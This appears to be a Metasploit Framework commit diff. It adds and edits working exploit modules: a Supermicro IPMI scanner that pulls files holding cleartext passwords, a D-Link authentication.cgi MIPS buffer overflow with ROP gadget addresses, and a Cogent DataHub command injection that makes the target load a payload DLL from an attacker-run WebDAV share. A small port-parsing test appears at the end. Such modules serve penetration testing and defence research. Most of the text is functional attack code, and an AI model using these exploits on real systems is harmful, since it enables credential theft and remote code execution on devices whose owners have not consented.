# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'uri'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure',
|
||||
'Description' => %q{
|
||||
This module abuses a file exposure vulnerability accessible through the web interface
|
||||
on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker
|
||||
to obtain detailed device information and download data files containing the clear-text
|
||||
usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs
|
||||
were exposed to the internet with this vulnerability.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Zach Wikholm <kestrel[at]trylinux.us>', # Discovery and analysis
|
||||
'John Matherly <jmath[at]shodan.io>', # Internet-wide scan
|
||||
'Dan Farmer <zen[at]fish2.com>', # Additional investigation
|
||||
'hdm' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'],
|
||||
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 19 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(49152)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def is_supermicro?
|
||||
res = send_request_cgi(
|
||||
{
|
||||
"uri" => "/IPMIdevicedesc.xml",
|
||||
"method" => "GET"
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /supermicro/i
|
||||
path = store_loot(
|
||||
'supermicro.ipmi.devicexml',
|
||||
'text/xml',
|
||||
rhost,
|
||||
res.body.to_s,
|
||||
'IPMIdevicedesc.xml'
|
||||
)
|
||||
print_good("#{peer} - Stored the device description XML in #{path}")
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
unless is_supermicro?
|
||||
vprint_error("#{peer} - This does not appear to be a Supermicro IPMI controller")
|
||||
return
|
||||
end
|
||||
|
||||
candidates = %W{ /PSBlock /PSStore /PMConfig.dat /wsman/simple_auth.passwd }
|
||||
|
||||
candidates.each do |uri|
|
||||
res = send_request_cgi(
|
||||
{
|
||||
"uri" => uri,
|
||||
"method" => "GET"
|
||||
})
|
||||
|
||||
next unless res
|
||||
|
||||
unless res.code == 200 && res.body.length > 0
|
||||
vprint_status("#{peer} - Request for #{uri} resulted in #{res.code}")
|
||||
next
|
||||
end
|
||||
|
||||
path = store_loot(
|
||||
'supermicro.ipmi.passwords',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
res.body.to_s,
|
||||
uri.split('/').last
|
||||
)
|
||||
print_good("#{peer} - Password data from #{uri} stored to #{path}")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -9,8 +9,10 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
||||
APP_NAME = "Supermicro web interface"
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -23,7 +25,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
a valid, but not necessarily administrator-level account, to access the contents of any file
|
||||
on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for
|
||||
all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM)
|
||||
with firmware version SMT_X9_214.
|
||||
with firmware version SMT_X9_214. Other file names to try include /PSStore, /PMConfig.dat, and
|
||||
/wsman/simple_auth.passwd
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -33,8 +36,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
#[ 'CVE', '' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ]
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ],
|
||||
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
|
||||
],
|
||||
'DisclosureDate' => 'Nov 06 2013'))
|
||||
|
||||
|
@ -107,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def run
|
||||
def run_host(ip)
|
||||
print_status("#{peer} - Checking if it's a #{APP_NAME}....")
|
||||
if is_supermicro?
|
||||
print_good("#{peer} - Check successful")
|
||||
|
@ -133,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
file_name = my_basename(datastore['FILEPATH'])
|
||||
path = store_loot(
|
||||
'supermicro.ipmi.traversal',
|
||||
'supermicro.ipmi.traversal.psblock',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
contents,
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link authentication.cgi Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits an remote buffer overflow vulnerability on several D-Link routers.
|
||||
The vulnerability exists in the handling of HTTP queries to the authentication.cgi with
|
||||
long password values. The vulnerability can be exploitable without authentication. This
|
||||
module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares
|
||||
such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Roberto Paleari', # Vulnerability discovery
|
||||
'Craig Heffner', # also discovered the vulnerability / help with some parts of this module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '95951'],
|
||||
['EDB', '27283'],
|
||||
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site
|
||||
['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router
|
||||
['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'D-Link DIR-645 1.03',
|
||||
{
|
||||
'Offset' => 1011,
|
||||
'LibcBase' => 0x2aaf8000, #Router
|
||||
#'LibcBase' => 0x40854000, # QEMU environment
|
||||
'System' => 0x000531FF, # address of system
|
||||
'CalcSystem' => 0x000158C8, # calculate the correct address of system
|
||||
'CallSystem' => 0x000159CC, # call our system
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => "/authentication.cgi",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Accessing the vulnerable URL...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
execute_cmdstager(
|
||||
:linemax => 200,
|
||||
:concat_operator => " && "
|
||||
)
|
||||
end
|
||||
|
||||
def prepare_shellcode(cmd)
|
||||
shellcode = rand_text_alpha_upper(target['Offset']) # padding
|
||||
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
|
||||
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
|
||||
shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
|
||||
|
||||
# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
|
||||
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
|
||||
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
|
||||
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
|
||||
# .text:000159DC 09 F8 20 03 jalr $t9 # call system
|
||||
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
|
||||
|
||||
shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
|
||||
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
|
||||
|
||||
# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget
|
||||
# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget
|
||||
# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address
|
||||
|
||||
shellcode << rand_text_alpha_upper(16) # filler in front of our command
|
||||
shellcode << cmd
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
shellcode = prepare_shellcode(cmd)
|
||||
uid = rand_text_alpha(4)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/authentication.cgi",
|
||||
'cookie' => "uid=#{uid}",
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'uid' => uid,
|
||||
'password' => rand_text_alpha(3) + shellcode,
|
||||
}
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -6,7 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header',
|
||||
'Description' => %q{
|
||||
This module exploits an anonymous remote code execution vulnerability on different D-Link
|
||||
This module exploits an anonymous remote code execution vulnerability on several D-Link
|
||||
routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with
|
||||
long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600
|
||||
and the DIR645A1_FW103B11 firmware.
|
||||
|
@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
'Roberto Paleari', # Vulnerability discovery
|
||||
'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on different other routers
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Trying to access the vulnerable URL...")
|
||||
print_status("#{peer} - Accessing the vulnerable URL...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
|
||||
|
|
|
@ -0,0 +1,448 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
# Exploitation is reliable, but the service hangs and needs manual restarting.
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Cogent DataHub Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits an injection vulnerability in Cogent DataHub prior
|
||||
to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which
|
||||
makes insecure use of the datahub_command function with user controlled
|
||||
data, allowing execution of arbitrary datahub commands and scripts. This
|
||||
module has been tested successfully with Cogent DataHub 7.3.4 on
|
||||
Windows 7 SP1.
|
||||
},
|
||||
'Author' => [
|
||||
'John Leitch', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'References' =>
|
||||
[
|
||||
['ZDI', '14-136'],
|
||||
['CVE', '2014-3789'],
|
||||
['BID', '67486']
|
||||
],
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'DefaultOptions' => {
|
||||
'WfsDelay' => 30,
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Cogent DataHub < 7.3.5', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 29 2014'
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']),
|
||||
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' +
|
||||
'(do not change)', 80 ]),
|
||||
OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' +
|
||||
'wait for the payload request', 20]),
|
||||
OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def autofilter
|
||||
false
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
case request.method
|
||||
when 'OPTIONS'
|
||||
process_options(cli, request)
|
||||
when 'PROPFIND'
|
||||
process_propfind(cli, request)
|
||||
when 'GET'
|
||||
process_get(cli, request)
|
||||
else
|
||||
vprint_status("#{request.method} => 404 (#{request.uri})")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
end
|
||||
|
||||
def process_get(cli, request)
|
||||
|
||||
if blacklisted_path?(request.uri)
|
||||
vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
|
||||
if request.uri.include?(@basename)
|
||||
print_status("GET => Payload")
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
data = generate_payload_dll({ :code => p.encoded })
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
end
|
||||
|
||||
# Treat index.html specially
|
||||
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
|
||||
vprint_status("GET => REDIRECT (#{request.uri})")
|
||||
resp = create_response(200, "OK")
|
||||
|
||||
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=|
|
||||
resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
|
||||
# Anything else is probably a request for a data file...
|
||||
vprint_status("GET => DATA (#{request.uri})")
|
||||
data = rand_text_alpha(4 + rand(4))
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
end
|
||||
|
||||
#
|
||||
# OPTIONS requests sent by the WebDav Mini-Redirector
|
||||
#
|
||||
def process_options(cli, request)
|
||||
vprint_status("OPTIONS #{request.uri}")
|
||||
headers = {
|
||||
'MS-Author-Via' => 'DAV',
|
||||
'DASL' => '<DAV:sql>',
|
||||
'DAV' => '1, 2',
|
||||
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' +
|
||||
+ ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
|
||||
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' +
|
||||
+ 'LOCK, UNLOCK',
|
||||
'Cache-Control' => 'private'
|
||||
}
|
||||
resp = create_response(207, "Multi-Status")
|
||||
headers.each_pair {|k,v| resp[k] = v }
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/xml'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
#
|
||||
# PROPFIND requests sent by the WebDav Mini-Redirector
|
||||
#
|
||||
def process_propfind(cli, request)
|
||||
path = request.uri
|
||||
vprint_status("PROPFIND #{path}")
|
||||
|
||||
if path !~ /\/$/
|
||||
|
||||
if blacklisted_path?(path)
|
||||
vprint_status "PROPFIND => 404 (#{path})"
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
|
||||
if path.index(".")
|
||||
vprint_status "PROPFIND => 207 File (#{path})"
|
||||
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
</D:multistatus>
|
||||
|
|
||||
# send the response
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
else
|
||||
vprint_status "PROPFIND => 301 (#{path})"
|
||||
resp = create_response(301, "Moved")
|
||||
resp["Location"] = path + "/"
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status "PROPFIND => 207 Directory (#{path})"
|
||||
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
|
||||
if request["Depth"].to_i > 0
|
||||
trail = path.split("/")
|
||||
trail.shift
|
||||
case trail.length
|
||||
when 0
|
||||
body << generate_shares(path)
|
||||
when 1
|
||||
body << generate_files(path)
|
||||
end
|
||||
else
|
||||
vprint_status "PROPFIND => 207 Top-Level Directory"
|
||||
end
|
||||
|
||||
body << "</D:multistatus>"
|
||||
|
||||
body.gsub!(/\t/, '')
|
||||
|
||||
# send the response
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def generate_shares(path)
|
||||
share_name = @share_name
|
||||
%Q|
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{share_name}/</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
end
|
||||
|
||||
def generate_files(path)
|
||||
trail = path.split("/")
|
||||
return "" if trail.length < 2
|
||||
|
||||
base = @basename
|
||||
exts = @extensions.gsub(",", " ").split(/\s+/)
|
||||
files = ""
|
||||
exts.each do |ext|
|
||||
files << %Q|
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{base}.#{ext}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
<D:ishidden b:dt="boolean">1</D:ishidden>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
end
|
||||
|
||||
files
|
||||
end
|
||||
|
||||
def gen_timestamp(ttype=nil)
|
||||
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
|
||||
end
|
||||
|
||||
def gen_datestamp(ttype=nil)
|
||||
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
|
||||
end
|
||||
|
||||
# This method rejects requests that are known to break exploitation
|
||||
def blacklisted_path?(uri)
|
||||
share_path = "/#{@share_name}"
|
||||
payload_path = "#{share_path}/#{@basename}.dll"
|
||||
case uri
|
||||
when payload_path
|
||||
return false
|
||||
when share_path
|
||||
return false
|
||||
else
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => rand_text_alpha(4 + rand(4)),
|
||||
'password' => rand_text_alpha(4 + rand(4))
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /PermissionRecord/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def send_injection(dll)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'),
|
||||
'vars_post' =>
|
||||
{
|
||||
'username' => rand_text_alpha(3 + rand(3)),
|
||||
'password' => "#{rand_text_alpha(3 + rand(3))}\")" +
|
||||
"(load_plugin \"#{dll}\" 1)(\""
|
||||
}
|
||||
}, 1)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
if service
|
||||
service.stop
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def primer
|
||||
print_status("#{peer} - Sending injection...")
|
||||
res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll")
|
||||
if res
|
||||
print_error("#{peer} - Unexpected answer")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if datastore['UNCPATH'].blank?
|
||||
@basename = rand_text_alpha(3)
|
||||
@share_name = rand_text_alpha(3)
|
||||
@extensions = "dll"
|
||||
@system_commands_file = rand_text_alpha_lower(4)
|
||||
|
||||
if (datastore['SRVHOST'] == '0.0.0.0')
|
||||
@myhost = Rex::Socket.source_address('50.50.50.50')
|
||||
else
|
||||
@myhost = datastore['SRVHOST']
|
||||
end
|
||||
|
||||
@exploit_unc = "\\\\#{@myhost}\\"
|
||||
|
||||
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
|
||||
fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' +
|
||||
'URIPATH=/')
|
||||
end
|
||||
|
||||
print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" +
|
||||
"\\#{@basename}.dll")
|
||||
|
||||
begin
|
||||
# The Windows Webclient needs some time...
|
||||
Timeout.timeout(datastore['WEBDAV_DELAY']) { super }
|
||||
rescue ::Timeout::Error
|
||||
service.stop if service
|
||||
end
|
||||
else
|
||||
# Using external SMB Server
|
||||
if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/
|
||||
host = $1
|
||||
share_name = $2
|
||||
dll_name = $3
|
||||
print_status("#{peer} - Sending injection...")
|
||||
res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}")
|
||||
if res
|
||||
print_error("#{peer} - Unexpected answer")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' +
|
||||
'\\\\host\\shared_folder\\base_name.dll')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,5 +1,6 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'rex/socket/range_walker'
|
||||
require 'spec_helper'
|
||||
|
||||
describe Rex::Socket do
|
||||
|
||||
|
@ -163,4 +164,35 @@ describe Rex::Socket do
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
describe '.portspec_to_portlist' do
|
||||
|
||||
subject(:portlist) { described_class.portspec_to_portlist portspec_string}
|
||||
let(:portspec_string) { '-1,0-10,!2-5,!7,65530-,65536' }
|
||||
|
||||
it 'does not include negative numbers' do
|
||||
expect(portlist).to_not include '-1'
|
||||
end
|
||||
|
||||
it 'does not include 0' do
|
||||
expect(portlist).to_not include '0'
|
||||
end
|
||||
|
||||
it 'does not include negated numbers' do
|
||||
['2', '3', '4', '5', '7'].each do |port|
|
||||
expect(portlist).to_not include port
|
||||
end
|
||||
end
|
||||
|
||||
it 'does not include any numbers above 65535' do
|
||||
expect(portlist).to_not include '65536'
|
||||
end
|
||||
|
||||
it 'expands open ended ranges' do
|
||||
(65530..65535).each do |port|
|
||||
expect(portlist).to include port
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue